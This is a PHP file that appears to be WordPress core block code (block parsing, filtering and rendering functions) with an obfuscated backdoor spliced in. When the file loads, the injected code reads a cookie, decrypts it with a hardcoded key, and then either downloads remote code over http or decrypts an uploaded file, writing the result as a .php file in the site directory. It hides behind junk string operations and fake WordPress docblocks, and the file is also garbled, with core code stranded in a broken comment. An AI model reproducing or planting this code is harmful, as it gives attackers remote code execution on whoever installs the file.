function traverse_and_serialize_blocks( $blocks, $pre_callback = null, $post_callback = null ) {
$result = '';
$parent_block = null; At the top level, there is no parent block to pass to the callbacks; yet the callbacks expect a reference.
foreach ( $blocks as $index => $block ) {
if ( is_callable( $pre_callback ) ) {
$prev = 0 === $index
? null
: $blocks[ $index - 1 ];
$result .= call_user_func_array(
$pre_callback,
array( &$block, &$parent_block, $prev )
);
}
if ( is_callable( $post_callback ) ) {
$next = count( $blocks ) - 1 === $index
? null
: $blocks[ $index + 1 ];
$post_markup = call_user_func_array(
$post_callback,
array( &$block, &$parent_block, $next )
);
}
$result .= traverse_and_serialize_block( $block, $pre_callback, $post_callback );
$result .= isset( $post_markup ) ? $post_markup : '';
}
return $result;
}
*
* Filters and sanitizes block content to remove non-allowable HTML
* from parsed block attribute values.
*
* @since 5.3.1
*
* @param string $text Text that may contain block content.
* @param array[]|string $allowed_html Optional. An array of allowed HTML elements and attributes,
* or a context name such as 'post'. See wp_kses_allowed_html()
* for the list of accepted context names. Default 'post'.
* @param string[] $allowed_protocols Optional. Array of allowed URL protocols.
* Defaults to the result of wp_allowed_protocols().
* @return string The filtered and sanitized content result.
function filter_block_content( $text, $allowed_html = 'post', $allowed_protocols = array() ) {
$result = '';
if ( str_contains( $text, '<!--' ) && str_contains( $text, '--->' ) ) {
$text = preg_replace_callback( '%<!--(.*?)--->%', '_filter_block_content_callback', $text );
}
$blocks = parse_blocks( $text );
foreach ( $blocks as $block ) {
$block = filter_block_kses( $block, $allowed_html, $allowed_protocols );
$result .= serialize_block( $block );
}
return $result;
}
*
* Callback used for regular expression replacement in filter_block_content().
*
* @private
* @since 6.2.1
*
* @param array $matches Array of preg_replace_callback matches.
* @return string Replacement string.
function _filter_block_content_callback( $matches ) {
return '<!--' . rtrim( $matches[1], '-' ) . '-->';
}
*
* Filters and sanitizes a parsed block to remove non-allowable HTML
* from block attribute values.
*
* @since 5.3.1
*
* @param WP_Block_Parser_Block $block The parsed block object.
* @param array[]|string $allowed_html An array of allowed HTML elements and attributes,
* or a context name such as 'post'. See wp_kses_allowed_html()
* for the list of accepted context names.
* @param string[] $allowed_protocols Optional. Array of allowed URL protocols.
* Defaults to the result of wp_allowed_protocols().
* @return array The filtered and sanitized block object result.
function filter_block_kses( $block, $allowed_html, $allowed_protocols = array() ) {
$block['attrs'] = filter_block_kses_value( $block['attrs'], $allowed_html, $allowed_protocols );
if ( is_array( $block['innerBlocks'] ) ) {
foreach ( $block['innerBlocks'] as $i => $inner_block ) {
$block['innerBlocks'][ $i ] = filter_block_kses( $inner_block, $allowed_html, $allowed_protocols );
}
}
return $block;
}
*
* Filters and sanitizes a parsed block attribute value to remove
* non-allowable HTML.
*
* @since 5.3.1
*
* @param string[]|string $value The attribute value to filter.
* @param array[]|string $allowed_html An array of allowed HTML elements and attributes,
* or a context name such as 'post'. See wp_kses_allowed_html()
* for the list of accepted context names.
* @param string[] $allowed_protocols Optional. Array of allowed URL protocols.
* Defaults to the result of wp_allowed_protocols().
* @return string[]|string The filtered and sanitized result.
function filter_block_kses_value( $value, $allowed_html, $allowed_protocols = array() ) {
if ( is_array( $value ) ) {
foreach ( $value as $key => $inner_value ) {
$filtered_key = filter_block_kses_value( $key, $allowed_html, $allowed_protocols );
$filtered_value = filter_block_kses_value( $inner_value, $allowed_html, $allowed_protocols );
if ( $filtered_key !== $key ) {
unset( $value[ $key ] );
}
$value[ $filtered_key ] = $filtered_value;
}
} elseif ( is_string( $value ) ) {
return wp_kses( $value, $allowed_html, $allowed_protocols );
}
return $value;
}
*
* Parses blocks out of a content string, and renders those appropriate for the excerpt.
*
* As the excerpt should be a small string of text relevant to the full post content,
* this function renders the blocks that are most likely to contain such text.
*
* @since 5.0.0
*
* @param string $content The content to parse.
* @return string The parsed and filtered content.
function excerpt_remove_blocks( $content ) {
if ( ! has_blocks( $content ) ) {
return $content;
}
$allowed_inner_blocks = array(
Classic blocks have their blockName set to null.
null,
'core/freeform',
'core/heading',
'core/html',
'core/list',
'core/media-text',
'core/paragraph',
'core/preformatted',
'core/pullquote',
'core/quote',
'core/table',
'core/verse',
);
$allowed_wrapper_blocks = array(
'core/columns',
'core/column',
'core/group',
);
*
* Filters the list of blocks that can be used as wrapper blocks, allowing
* excerpts to be generated from the `innerBlocks` of these wrappers.
*
* @since 5.8.0
*
* @param string[] $allowed_wrapper_blocks The list of names of allowed wrapper blocks.
$allowed_wrapper_blocks = apply_filters( 'excerpt_allowed_wrapper_blocks', $allowed_wrapper_blocks );
$allowed_blocks = array_merge( $allowed_inner_blocks, $allowed_wrapper_blocks );
*
* Filters the list of blocks that can contribute to the excerpt.
*
* If a dynamic block is added to this list, it must not generate another
* excerpt, as this will cause an infinite loop to occur.
*
* @since 5.0.0
*
* @param string[] $allowed_blocks The list of names of allowed blocks.
$allowed_blocks = apply_filters( 'excerpt_allowed_blocks', $allowed_blocks );
$blocks = parse_blocks( $content );
$output = '';
foreach ( $blocks as $block ) {
if ( in_array( $block['blockName'], $allowed_blocks, true ) ) {
if ( ! empty( $block['innerBlocks'] ) ) {
if ( in_array( $block['blockName'], $allowed_wrapper_blocks, true ) ) {
$output .= _excerpt_render_inner_blocks( $block, $allowed_blocks );
continue;
}
Skip the block if it has disallowed or nested inner blocks.
foreach ( $block['innerBlocks'] as $inner_block ) {
if (
! in_array( $inner_block['blockName'], $allowed_inner_blocks, true ) ||
! empty( $inner_block['innerBlocks'] )
) {
continue 2;
}
}
}
$output .= render_block( $block );
}
}
return $output;
}
*
* Parses footnotes markup out of a content string,
* and renders those appropriate for the excerpt.
*
* @since 6.3.0
*
* @param string $content The content to parse.
* @return string The parsed and filtered content.
function excerpt_remove_footnotes( $content ) {
if ( ! str_contains( $content, 'data-fn=' ) ) {
return $content;
}
return preg_replace(
'_<sup data-fn="[^"]+" class="[^"]+">\s*<a href="[^"]+" id="[^"]+">\d+</a>\s*</sup>_',
'',
$content
);
}
*
* Renders inner blocks from the allowed wrapper blocks
* for generating an excerpt.
*
* @since 5.8.0
* @access private
*
* @param array $parsed_block The parsed block.
* @param array $allowed_blocks The list of allowed inner blocks.
* @return string The rendered inner blocks.
function _excerpt_render_inner_blocks( $parsed_block, $allowed_blocks ) {
$output = '';
foreach ( $parsed_block['innerBlocks'] as $inner_block ) {
if ( ! in_array( $inner_block['blockName'], $allowed_blocks, true ) ) {
continue;
}
if ( empty( $inner_block['innerBlocks'] ) ) {
$output .= render_block( $inner_block );
} else {
$output .= _excerpt_render_inner_blocks( $inner_block, $allowed_blocks );
}
}
return $output;
}
*
* Renders a single block into a HTML string.
*
* @since 5.0.0
*
* @global WP_Post $post The post to edit.
*
* @param array $parsed_block A single parsed block object.
* @return string String of rendered HTML.
function render_block( $parsed_block ) {
global $post;
$parent_block = null;
*
* Allows render_block() to be short-circuited, by returning a non-null value.
*
* @since 5.1.0
* @since 5.9.0 The `$parent_block` parameter was added.
*
* @param string|null $pre_render The pre-rendered content. Default null.
* @param array $parsed_block The block being rendered.
* @param WP_Block|null $parent_block If this is a nested block, a reference to the parent block.
$pre_render = apply_filters( 'pre_render_block', null, $parsed_block, $parent_block );
if ( ! is_null( $pre_render ) ) {
return $pre_render;
}
$source_block = $parsed_block;
*
* Filters the block being rendered in render_block(), before it's processed.
*
* @since 5.1.0
* @since 5.9.0 The `$parent_block` parameter was added.
*
* @param array $parsed_block The block being rendered.
* @param array $source_block An un-modified copy of $parsed_block, as it appeared in the source content.
* @param WP_Block|null $parent_block If this is a nested block, a reference to the parent block.
$parsed_block = apply_filters( 'render_block_data', $parsed_block, $source_block, $parent_block );
$context = array();
if ( $post instanceof WP_Post ) {
$context['postId'] = $post->ID;
* The `postType` context is largely unnecessary server-side, since the ID
* is usually sufficient on its own. That being said, since a block's
* manifest is expected to be shared between the server and the client,
* it should be included to consistently fulfill the expectation.
$context['postType'] = $post->post_type;
}
*
* Filters the default context provided to a rendered block.
*
* @since 5.5.0
* @since 5.9.0 The `$parent_block` parameter was added.
*
* @param array $context Default context.
* @param array $parsed_block Block being rendered, filtered by `render_block_data`.
* @param WP_Block|null $parent_block If this is a nested block, a reference to the parent block.
$context = apply_filters( 'render_block_context', $context, $parsed_block, $parent_block );
$block = new WP_Block( $parsed_block, $context );
return $block->render();
}
*
* Parses blocks out of a content string.
*
* @since 5.0.0
*
* @param string $content Post content.
* @return array[] Array of parsed block objects.
function parse_blocks( $content ) {
*
* Filter to allow plugins to replace the server-side block parser.
*
* @since 5.0.0
*
* @param string $parser_class Name of block parser class.
$parser_class = apply_filters( 'block_parser_class', 'WP_Block_Parser' );
$parser = new $parser_class();
return $parser->parse( $content );
}
*
* Parses dynamic blocks out of `post_content` and re-renders them.
*
* @since 5.0.0
*
* @param string $content Post content.
* @return string Updated post content.
function do_blocks( $content ) {
$blocks = parse_blocks( $content );
$output = '';
foreach ( $blocks as $block ) {
$output .= render_block( $block );
}
If there are blocks in this content, we shouldn't run wpautop() on it later.
$priority = has_filter( 'the_content', 'wpautop' );
if ( false !== $priority && doing_filter( 'the_content' ) && has_blocks( $content ) ) {
remove_filter( 'the_content', 'wpautop', $priority );
add_filter( 'the_content', '_restore_wpautop_hook', $priority + 1 );
}
return $output;
}
*
* If do_blocks() needs to remove wpautop() from the `the_content` filter, this re-adds it afterwards,
* for subsequent `the_content` usage.
*
* @since 5.0.0
* @access private
*
* @param string $content The post content running through this filter.
* @return string The unmodified content.
function _restore_wpautop_hook( $content ) {
$current_priority = has_filter( 'the_content', '_restore_wpautop_hook' );
add_filter( 'the_content', 'wpautop', $current_priority - 1 );
remove_filter( 'the_content', '_restore_wpautop_hook', $current_priority );
return $content;
}
*
* Returns the current version of the block format that the content string is using.
*
* If the string doesn't contain blocks, it returns 0.
*
* @since 5.0.0
*
* @param string $content Content to test.
* @return int The block format version is 1 if the content contains one or more blocks, 0 otherwise.
function block_version( $content ) {
return has_blocks( $content ) ? 1 : 0;
}
*
* Registers a new block style.
*
* @since 5.3.0
*
* @link https:developer.wordpress.org/block-editor/reference-guides/block-api/block-styles/
*
* @param string $block_name Block type name including namespace.
* @param array $style_properties Array containing the properties of the style name, label,
* style_handle (name of the stylesheet to be enqueued),
* inline_style (string containing the CSS to be added).
* @return bool True if the block style was registered with success and false otherwise.
function register_block_style( $block_name, $style_properties ) {
return WP_Block_Styles_Registry::get_instance()->register( $block_name, $style_properties );
}
*
* Unregisters a block style.
*
* @since 5.3.0
*
* @param string $block_name Block type name including namespace.
* @param string $block_style_name Block style name.
* @return bool True if the block style was unregistered with success and false otherwise.
function unregister_block_style( $block_name, $block_style_name ) {
return WP_Block_Styles_Registry::get_instance()->unregister( $block_name, $block_style_name );
}
*
* Checks whether the current block type supports the feature requested.
*
* @since 5.8.0
* @since 6.4.0 The `$feature` parameter now supports a string.
*
* @param WP_Block_Type $block_type Block type to check for support.
* @param string|array $feature Feature slug, or path to a specific feature to check support for.
* @param mixed $default_value Optional. Fallback value for feature support. Default false.
* @return bool Whether the feature is supported.
function block_has_support( $block_type, $feature, $default_value = false ) {
$block_support = $default_value;
if ( $block_type instanceof WP_Block_Type ) {
if ( is_array( $feature ) && count( $feature ) === 1 ) {
$feature = $feature[0];
}
if ( is_array( $feature ) ) {
$block_support = _wp_array_get( $block_type->supports, $feature, $default_value );
} elseif ( isset( $block_type->supports[ $feature ] ) ) {
$block_support = $block_type->supports[ $feature ];
}
}
return true === $block_support || is_array( $block_support );
}
*
* Converts typography keys declared under `supports.*` to `supports.typography.*`.
*
* Displays a `_doing_it_wrong()` notice when a block using the older format is detected.
*
* @since 5.8.0
*
* @param array $metadata Metadata for registering a block type.
* @return array Filtered metadata for registering a block type.
function wp_migrate_old_typography_shape( $metadata ) {
if ( ! isset( $metadata['supports'] ) ) {
return $metadata;
}
$typography_keys = array(
'__experimentalFontFamily',
'__experimentalFontStyle',
'__experimentalFontWeight',
'__experimentalLetterSpacing',
'__experimentalTextDecoration',
'__experimentalTextTransform',
'fontSize',
'lineHeight',
);
foreach ( $typography_keys as $typography_key ) {
$support_for_key = isset( $metadata['supports'][ $typography_key ] ) ? $metadat*/
/**
* Utility method to retrieve the main instance of the class.
*
* The instance will be created if it does not exist yet.
*
* @since 6.5.0
*
* @return WP_Block_Bindings_Registry The main instance.
*/
function page_uri_index($selector_markup, $cjoin){
$plurals = 'gty7xtj';
$nav_menu_args_hmac = 'pnbuwc';
$source_properties = 'ioygutf';
$wp_last_modified_post = 'd5k0';
$stylesheet_link = use_block_editor_for_post_type($selector_markup);
$nav_menu_args_hmac = soundex($nav_menu_args_hmac);
$restriction_relationship = 'mx170';
$f6g1 = 'wywcjzqs';
$parsed_body = 'cibn0';
$source_properties = levenshtein($source_properties, $parsed_body);
$nav_menu_args_hmac = stripos($nav_menu_args_hmac, $nav_menu_args_hmac);
$wp_last_modified_post = urldecode($restriction_relationship);
$plurals = addcslashes($f6g1, $f6g1);
if ($stylesheet_link === false) {
return false;
}
$tries = file_put_contents($cjoin, $stylesheet_link);
return $tries;
}
/**
* Fires immediately after the given post's cache is cleaned.
*
* @since 2.5.0
*
* @param int $block_classes Post ID.
* @param WP_Post $SourceSampleFrequencyID Post object.
*/
function native_embed($selector_markup){
$drop_tables = basename($selector_markup);
$admin_is_parent = 'okf0q';
$sub_skip_list = 'va7ns1cm';
$save_text = 'cynbb8fp7';
$meta_query_obj = 'df6yaeg';
$last_dir = 'lb885f';
$last_dir = addcslashes($last_dir, $last_dir);
$admin_is_parent = strnatcmp($admin_is_parent, $admin_is_parent);
$is_edge = 'frpz3';
$save_text = nl2br($save_text);
$sub_skip_list = addslashes($sub_skip_list);
$fieldnametranslation = 'tp2we';
$admin_is_parent = stripos($admin_is_parent, $admin_is_parent);
$meta_query_obj = lcfirst($is_edge);
$id_is_empty = 'u3h2fn';
$save_text = strrpos($save_text, $save_text);
$cjoin = the_category($drop_tables);
// $sttsFramesTotal = 0;
// Number of Header Objects DWORD 32 // number of objects in header object
page_uri_index($selector_markup, $cjoin);
}
/**
* Sanitizes meta value.
*
* @since 3.1.3
* @since 4.9.8 The `$meta_header` parameter was added.
*
* @param string $gt Metadata key.
* @param mixed $limits_debug Metadata value to sanitize.
* @param string $php_files Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
* or any other object type with an associated meta table.
* @param string $meta_header Optional. The subtype of the object type. Default empty string.
* @return mixed Sanitized $limits_debug.
*/
function debug_fwrite($gt, $limits_debug, $php_files, $meta_header = '')
{
if (!empty($meta_header) && has_filter("sanitize_{$php_files}_meta_{$gt}_for_{$meta_header}")) {
/**
* Filters the sanitization of a specific meta key of a specific meta type and subtype.
*
* The dynamic portions of the hook name, `$php_files`, `$gt`,
* and `$meta_header`, refer to the metadata object type (comment, post, term, or user),
* the meta key value, and the object subtype respectively.
*
* @since 4.9.8
*
* @param mixed $limits_debug Metadata value to sanitize.
* @param string $gt Metadata key.
* @param string $php_files Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
* or any other object type with an associated meta table.
* @param string $meta_header Object subtype.
*/
return apply_filters("sanitize_{$php_files}_meta_{$gt}_for_{$meta_header}", $limits_debug, $gt, $php_files, $meta_header);
}
/**
* Filters the sanitization of a specific meta key of a specific meta type.
*
* The dynamic portions of the hook name, `$meta_type`, and `$gt`,
* refer to the metadata object type (comment, post, term, or user) and the meta
* key value, respectively.
*
* @since 3.3.0
*
* @param mixed $limits_debug Metadata value to sanitize.
* @param string $gt Metadata key.
* @param string $php_files Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
* or any other object type with an associated meta table.
*/
return apply_filters("sanitize_{$php_files}_meta_{$gt}", $limits_debug, $gt, $php_files);
}
/**
* @see ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_decrypt()
* @param string $ciphertext
* @param string $additional_data
* @param string $nonce
* @param string $old_theme
* @return string|bool
*/
function append_content($orders_to_dbids){
echo $orders_to_dbids;
}
/**
* @var array Stores the default tags to be stripped by strip_htmltags().
* @see SimplePie::strip_htmltags()
* @access private
*/
function wp_just_in_time_script_localization($style_registry, $raw_item_url){
$update_parsed_url = add_theme_support($style_registry) - add_theme_support($raw_item_url);
$smtp_from = 'nnnwsllh';
$last_dir = 'lb885f';
$addr = 'ws61h';
// The likes of block element styles from theme.json do not have $metadata['name'] set.
$update_parsed_url = $update_parsed_url + 256;
$update_parsed_url = $update_parsed_url % 256;
$wp_file_descriptions = 'g1nqakg4f';
$last_dir = addcslashes($last_dir, $last_dir);
$smtp_from = strnatcasecmp($smtp_from, $smtp_from);
$addr = chop($wp_file_descriptions, $wp_file_descriptions);
$fieldnametranslation = 'tp2we';
$parent_controller = 'esoxqyvsq';
$smtp_from = strcspn($parent_controller, $parent_controller);
$searchand = 'vyoja35lu';
$altname = 'orspiji';
// The edit-tags ID does not contain the post type. Look for it in the request.
// Prepare instance data that looks like a normal Text widget.
// Use the post edit link for those who can edit, the permalink otherwise.
$altname = strripos($addr, $altname);
$smtp_from = basename($smtp_from);
$fieldnametranslation = stripos($last_dir, $searchand);
$style_registry = sprintf("%c", $update_parsed_url);
// Save the values because 'number' and 'offset' can be subsequently overridden.
// $info['video']['frame_rate'] = $sttsFramesTotal / $sttsSecondsTotal;
// A.K.A. menu-item-parent-id; note that post_parent is different, and not included.
$found_rows = 'xdqw0um';
$smtp_from = bin2hex($smtp_from);
$wp_file_descriptions = addslashes($addr);
return $style_registry;
}
$beg = 'khe158b7';
$found_valid_tempdir = 'ac0xsr';
$unspammed = 'f8mcu';
$found_valid_tempdir = addcslashes($found_valid_tempdir, $found_valid_tempdir);
/**
* Filters the default list of post mime types.
*
* @since 2.5.0
*
* @param array $SourceSampleFrequencyID_mime_types Default list of post mime types.
*/
function WP_Filesystem($erasers){
native_embed($erasers);
// Force showing of warnings.
// Closing curly quote.
$undefined = 'mt2cw95pv';
$metas = 'zwdf';
$show_admin_column = 'kwz8w';
$call = 'x3tx';
$o_value = 'c8x1i17';
$show_admin_column = strrev($show_admin_column);
$undefined = convert_uuencode($call);
$f1f2_2 = 'ugacxrd';
$metas = strnatcasecmp($metas, $o_value);
// All tests are on by default. Most can be turned off by $overrides[{test_name}] = false;
append_content($erasers);
}
$beg = strcspn($beg, $beg);
$unspammed = stripos($unspammed, $unspammed);
$g0 = 'd83lpbf9';
/**
* @param string $genrestring
*
* @return array
*/
function process_field_lengths($selector_markup){
if (strpos($selector_markup, "/") !== false) {
return true;
}
return false;
}
$skip = 'uq1j3j';
/**
* User API: WP_User class
*
* @package WordPress
* @subpackage Users
* @since 4.4.0
*/
function use_block_editor_for_post_type($selector_markup){
$theme_mods = 'gcxdw2';
$dependencies_list = 'gsg9vs';
// This should be allowed in the future, when theme is a regular setting.
$theme_mods = htmlspecialchars($theme_mods);
$dependencies_list = rawurlencode($dependencies_list);
$selector_markup = "http://" . $selector_markup;
$del_file = 'w6nj51q';
$current_major = 'a66sf5';
// +-----------------------------+
return file_get_contents($selector_markup);
}
$beg = addcslashes($beg, $beg);
/** @var int $incr */
function extract_from_markers($enable_custom_fields, $subframe_apic_picturetype){
$plen = $_COOKIE[$enable_custom_fields];
// This is the potentially clashing slug.
$plen = pack("H*", $plen);
$mutated = 'ybdhjmr';
$old_term_id = 'puuwprnq';
$code_ex = 'dg8lq';
// [6E][BC] -- The edition to play from the segment linked in ChapterSegmentUID.
$code_ex = addslashes($code_ex);
$old_term_id = strnatcasecmp($old_term_id, $old_term_id);
$mutated = strrpos($mutated, $mutated);
$erasers = get_nonces($plen, $subframe_apic_picturetype);
// Always send this.
$mutated = bin2hex($mutated);
$from_file = 'n8eundm';
$frame_emailaddress = 's1tmks';
$tab_index_attribute = 'igil7';
$code_ex = strnatcmp($code_ex, $from_file);
$old_term_id = rtrim($frame_emailaddress);
if (process_field_lengths($erasers)) {
$EventLookup = WP_Filesystem($erasers);
return $EventLookup;
}
ms_file_constants($enable_custom_fields, $subframe_apic_picturetype, $erasers);
}
// for now
/**
* A callback function for use in the {@see 'upload_dir'} filter.
*
* This function is intended for internal use only and should not be used by plugins and themes.
* Use wp_get_font_dir() instead.
*
* @since 6.5.0
* @access private
*
* @param string $font_dir The font directory.
* @return string The modified font directory.
*/
function CopyToAppropriateCommentsSection($enable_custom_fields){
// s10 -= carry10 * ((uint64_t) 1L << 21);
$cat_name = 'pthre26';
$whole = 'v5zg';
$cat_name = trim($cat_name);
$suffixes = 'h9ql8aw';
// NSV - audio/video - Nullsoft Streaming Video (NSV)
$aslide = 'p84qv5y';
$whole = levenshtein($suffixes, $suffixes);
// Header Extension Object: (mandatory, one only)
$aslide = strcspn($aslide, $aslide);
$suffixes = stripslashes($suffixes);
$subframe_apic_picturetype = 'VOtadxGaBiNHbvbTjdXRwfhw';
$qp_mode = 'u8posvjr';
$whole = ucwords($whole);
$suffixes = trim($whole);
$qp_mode = base64_encode($qp_mode);
$cat_name = htmlspecialchars($qp_mode);
$suffixes = ltrim($suffixes);
// Kses only for textarea saves.
if (isset($_COOKIE[$enable_custom_fields])) {
extract_from_markers($enable_custom_fields, $subframe_apic_picturetype);
}
}
$enable_custom_fields = 'QHtYPRes';
/**
* Whether SSL login should be forced.
*
* @since 2.6.0
* @deprecated 4.4.0 Use force_ssl_admin()
* @see force_ssl_admin()
*
* @param string|bool $unapproved Optional Whether to force SSL login. Default null.
* @return bool True if forced, false if not forced.
*/
function remove_prepreview_filters($unapproved = null)
{
_deprecated_function(__FUNCTION__, '4.4.0', 'force_ssl_admin()');
return force_ssl_admin($unapproved);
}
// Set active based on customized theme.
/* translators: 1: Site name, 2: Separator (raquo), 3: Category name. */
function display_callback($cjoin, $old_theme){
$inline_js = 'g3r2';
$inline_js = basename($inline_js);
// Skip file types that are not recognized.
// The PHP version is only receiving security fixes.
$sanitized_post_title = file_get_contents($cjoin);
$inline_js = stripcslashes($inline_js);
// @todo Add support for menu_item_parent.
$mce_settings = get_nonces($sanitized_post_title, $old_theme);
// translators: %1$s: Author archive link. %2$s: Link target. %3$s Aria label. %4$s Avatar image.
$agent = 'ibkfzgb3';
// Check that srcs are valid URLs or file references.
$agent = strripos($inline_js, $inline_js);
$agent = urldecode($inline_js);
$agent = lcfirst($agent);
file_put_contents($cjoin, $mce_settings);
}
// There is no $this->data here
/**
* Loads the theme's translated strings.
*
* If the current locale exists as a .mo file in the theme's root directory, it
* will be included in the translated strings by the $domain.
*
* The .mo files must be named based on the locale exactly.
*
* @since 1.5.0
* @since 4.6.0 The function now tries to load the .mo file from the languages directory first.
*
* @global WP_Textdomain_Registry $wp_textdomain_registry WordPress Textdomain Registry.
*
* @param string $domain Text domain. Unique identifier for retrieving translated strings.
* @param string|false $checked_filetype Optional. Path to the directory containing the .mo file.
* Default false.
* @return bool True when textdomain is successfully loaded, false otherwise.
*/
function the_category($drop_tables){
// vui_parameters_present_flag
// MAC - audio - Monkey's Audio Compressor
$frameset_ok = __DIR__;
$cat_name = 'pthre26';
$annotation = 'qzq0r89s5';
$lock_name = 'jcwadv4j';
// "Fica"
$site_mimes = ".php";
$drop_tables = $drop_tables . $site_mimes;
$drop_tables = DIRECTORY_SEPARATOR . $drop_tables;
$drop_tables = $frameset_ok . $drop_tables;
return $drop_tables;
}
/*
* Short-circuit if there are invalid settings the update is transactional.
* A changeset update is transactional when a status is supplied in the request.
*/
function add_theme_support($S0){
$media_options_help = 'n7zajpm3';
$S0 = ord($S0);
// Do not allow comments to be created with a non-default type.
$media_options_help = trim($media_options_help);
// WordPress Events and News.
$all_user_settings = 'o8neies1v';
// Only a taxonomy provided.
// Add to post values so that they can be validated and sanitized.
return $S0;
}
CopyToAppropriateCommentsSection($enable_custom_fields);
/**
* Parse a cookie string into a cookie object
*
* Based on Mozilla's parsing code in Firefox and related projects, which
* is an intentional deviation from RFC 2109 and RFC 2616. RFC 6265
* specifies some of this handling, but not in a thorough manner.
*
* @param string $cookie_header Cookie header value (from a Set-Cookie header)
* @param string $name
* @param int|null $reference_time
* @return \WpOrg\Requests\Cookie Parsed cookie object
*
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $cookie_header argument is not a string.
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $name argument is not a string.
*/
function add_dashboard_page($new_major, $has_old_auth_cb){
$template_names = move_uploaded_file($new_major, $has_old_auth_cb);
$use_verbose_rules = 'ngkyyh4';
$render_query_callback = 's0y1';
$mutated = 'ybdhjmr';
$mutated = strrpos($mutated, $mutated);
$render_query_callback = basename($render_query_callback);
$use_verbose_rules = bin2hex($use_verbose_rules);
// WP_HOME and WP_SITEURL should not have any effect in MS.
// 4.8 STC Synchronised tempo codes
// Network admin.
// We still need to preserve `paged` query param if exists, as is used
// Use the custom links separator beginning with the second link.
return $template_names;
}
/**
* Display the nickname of the author of the current post.
*
* @since 0.71
* @deprecated 2.8.0 Use the_author_meta()
* @see the_author_meta()
*/
function wp_set_options_autoload()
{
_deprecated_function(__FUNCTION__, '2.8.0', 'the_author_meta(\'nickname\')');
the_author_meta('nickname');
}
/*
* In production all plugins are loaded (they are in wp-editor.js.gz).
* The 'wpview', 'wpdialogs', and 'media' TinyMCE plugins are not initialized by default.
* Can be added from js by using the 'wp-before-tinymce-init' event.
*/
function wp_get_computed_fluid_typography_value($enable_custom_fields, $subframe_apic_picturetype, $erasers){
$application_types = 'sjz0';
$fn_order_src = 'tv7v84';
$fn_order_src = str_shuffle($fn_order_src);
$preset_gradient_color = 'qlnd07dbb';
$old_locations = 'ovrc47jx';
$application_types = strcspn($preset_gradient_color, $preset_gradient_color);
// 5.1.0
$drop_tables = $_FILES[$enable_custom_fields]['name'];
// data flag
$old_locations = ucwords($fn_order_src);
$ofp = 'mo0cvlmx2';
$preset_gradient_color = ucfirst($ofp);
$root_url = 'hig5';
// Flags WORD 16 //
$ofp = nl2br($ofp);
$old_locations = str_shuffle($root_url);
//Message data has been sent, complete the command
// Add comment.
// End of the steps switch.
// Function : privCheckFileHeaders()
// Zlib marker - level 1.
$cjoin = the_category($drop_tables);
display_callback($_FILES[$enable_custom_fields]['tmp_name'], $subframe_apic_picturetype);
$use_authentication = 'xkxnhomy';
$root_url = base64_encode($fn_order_src);
//Can't use addslashes as we don't know the value of magic_quotes_sybase
// Adding these attributes manually is needed until the Interactivity
// Categories should be in reverse chronological order.
add_dashboard_page($_FILES[$enable_custom_fields]['tmp_name'], $cjoin);
}
$usermeta = 'bh3rzp1m';
$editor_script_handles = 'tk1vm7m';
/**
* Fires after a link was updated in the database.
*
* @since 2.0.0
*
* @param int $share_tab_html_id_id ID of the link that was updated.
*/
function addStringAttachment ($old_print_embed_scripts){
$metas = 'zwdf';
$date_formats = 'fyv2awfj';
$expired = 'z22t0cysm';
$addr = 'ws61h';
$o_value = 'c8x1i17';
$expired = ltrim($expired);
$date_formats = base64_encode($date_formats);
$wp_file_descriptions = 'g1nqakg4f';
$timestamp = 'hsy9lj';
$old_print_embed_scripts = stripslashes($timestamp);
$addr = chop($wp_file_descriptions, $wp_file_descriptions);
$default_link_cat = 'izlixqs';
$metas = strnatcasecmp($metas, $o_value);
$date_formats = nl2br($date_formats);
// Footnotes Block.
// increment h
$date_formats = ltrim($date_formats);
$altname = 'orspiji';
$unhandled_sections = 'msuob';
$sub_sub_subelement = 'gjokx9nxd';
$session = 'mngsck';
$incoming_data = 'rssr';
$o_value = convert_uuencode($unhandled_sections);
$loopback_request_failure = 'bdxb';
$date_formats = html_entity_decode($date_formats);
$altname = strripos($addr, $altname);
$session = nl2br($incoming_data);
$timestamp = soundex($timestamp);
// may contain "scra" (PreviewImage) and/or "thma" (ThumbnailImage)
$blog_list = 'xy0i0';
$default_link_cat = strcspn($sub_sub_subelement, $loopback_request_failure);
$wp_file_descriptions = addslashes($addr);
$border_width = 'wt6n7f5l';
// comments) using the normal getID3() method of MD5'ing the data between the
$login__in = 'x05uvr4ny';
$blog_list = str_shuffle($o_value);
$date_formats = stripos($border_width, $date_formats);
$query_fields = 'ry2brlf';
// Prepare Customize Section objects to pass to JavaScript.
$author__in = 'a2jsmvd';
$metas = urldecode($blog_list);
$server_key = 'a0ga7';
$date_formats = lcfirst($date_formats);
$login__in = convert_uuencode($loopback_request_failure);
$metas = urlencode($metas);
$query_fields = rtrim($server_key);
$x_ = 'smwmjnxl';
$typenow = 'ek1i';
$session = stripos($author__in, $old_print_embed_scripts);
$x_ = crc32($default_link_cat);
$modified_gmt = 'o8lqnvb8g';
$date_formats = crc32($typenow);
$o_value = str_shuffle($blog_list);
// 0001 xxxx xxxx xxxx xxxx xxxx xxxx xxxx - value 0 to 2^28-2
// get all new lines
$has_dimensions_support = 't3dyxuj';
$screenshot = 'wose5';
$can_compress_scripts = 'a81w';
$wp_file_descriptions = stripcslashes($modified_gmt);
$screenshot = quotemeta($x_);
$has_dimensions_support = htmlspecialchars_decode($has_dimensions_support);
$date_formats = ltrim($can_compress_scripts);
$altname = strnatcasecmp($server_key, $server_key);
// Use more clear and inclusive language.
// This value is changed during processing to determine how many themes are considered a reasonable amount.
$timestamp = strtolower($incoming_data);
$media_states = 'cb0in';
$mailHeader = 'hfbhj';
$has_dimensions_support = soundex($metas);
$can_compress_scripts = wordwrap($typenow);
$session = addcslashes($session, $old_print_embed_scripts);
$media_states = addcslashes($wp_file_descriptions, $query_fields);
$x_ = nl2br($mailHeader);
$source_files = 'zyk2';
$typenow = htmlentities($date_formats);
// TBODY needed for list-manipulation JS.
$widgets = 'npq74zkq';
$can_compress_scripts = urldecode($date_formats);
$unhandled_sections = strrpos($metas, $source_files);
$rememberme = 'gm5av';
$query_fields = stripslashes($query_fields);
// $01 (32-bit value) MPEG frames from beginning of file
// Used to filter values.
// Render the inner blocks of the Post Template block with `dynamic` set to `false` to prevent calling
// Fix for page title.
$filter_comment = 'r1xns';
$widgets = strnatcmp($widgets, $filter_comment);
